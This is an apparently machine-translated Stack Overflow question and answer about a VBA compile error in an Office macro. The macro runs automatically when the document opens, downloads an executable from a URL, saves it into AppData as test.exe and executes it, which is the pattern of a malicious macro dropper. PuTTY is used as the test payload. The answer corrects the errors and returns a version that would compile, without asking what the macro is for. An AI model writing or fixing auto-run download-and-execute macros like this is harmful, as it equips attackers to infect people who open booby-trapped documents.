编译错误:参数不可选 - MSWord

时间:2014-05-02 18:32:11

标签: excel vba ms-word

做一些简单的VBA脚本并遇到一些障碍。 (我是一个非常新的VBA编码器)。

当我编译下面的代码时,我不断得到"编译错误:参数不可选"但我似乎无法找到任何错误(可能只是我的愚蠢)。

代码假设下载文件(我刚刚获得PuTTy可执行文件进行测试),然后将其加载到AppData文件夹中并执行。

感谢帮助。

Sub Auto_Open()
input
End Sub

Sub AutoOpen()
Auto_Open
End Sub

Sub Workbook_Open()
Auto_Open
End Sub

Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
Set pass = CreateObject('MSXML2.XMLHTTP')
pass.Open 'GET', pass2, False 
pass.Send 'send request

Do While pass.readyState <> 4
DoEvents
Loop

helper = pass.responseBody

hard = FreeFile
If Dir(pass3) <> '' Then Kill pass3
Open pass3 For Binary As # hard
Put # hard, , helper
Close # hard

Dim temp
temp = Shell(pass3, 1)

Set pass = Nothing
End Function

Sub input()
var1 'http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe', Environ('AppData') & '\test.exe'
End Sub

1 个答案:

答案 0 :(得分:1)

请在您的代码中查看我的评论。我强烈建议您访问vba wiki page,因为它为刚接触该语言的人提供了一些很好的资源。我根本没有测试或调试代码。我刚刚纠正了明显的错误,以便编译。

选项明确

Sub AutoOpen()
    'no idea what this was doing, but you can't define a sub more than once, it's ambiguous.
End Sub

Sub Workbook_Open()
    AutoOpen
End Sub

Function var1(ByVal pass2 As String, ByVal pass3 As String) As Boolean
Dim pass As Object, pass5 As Long, hard As Long, helper() As Byte
    ' single quotes (apostrophes) create comments in vba. Use double quotes instead(")
    Set pass = CreateObject("MSXML2.XMLHTTP")
    pass.Open "GET", pass2, False
    pass.Send "send request"

    Do While pass.readyState <> 4
        DoEvents
    Loop

    helper = pass.responseBody

    hard = FreeFile
    If Dir(pass3) <> "" Then Kill pass3

    Open pass3 For Binary As #hard
    Put #hard, , helper
    Close #hard

    Dim temp
    temp = Shell(pass3, 1)

    Set pass = Nothing
End Function

Sub someInput() ' you can't use input, it's a reserved work
    var1 "http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe", Environ("AppData") & "\test.exe"
End Sub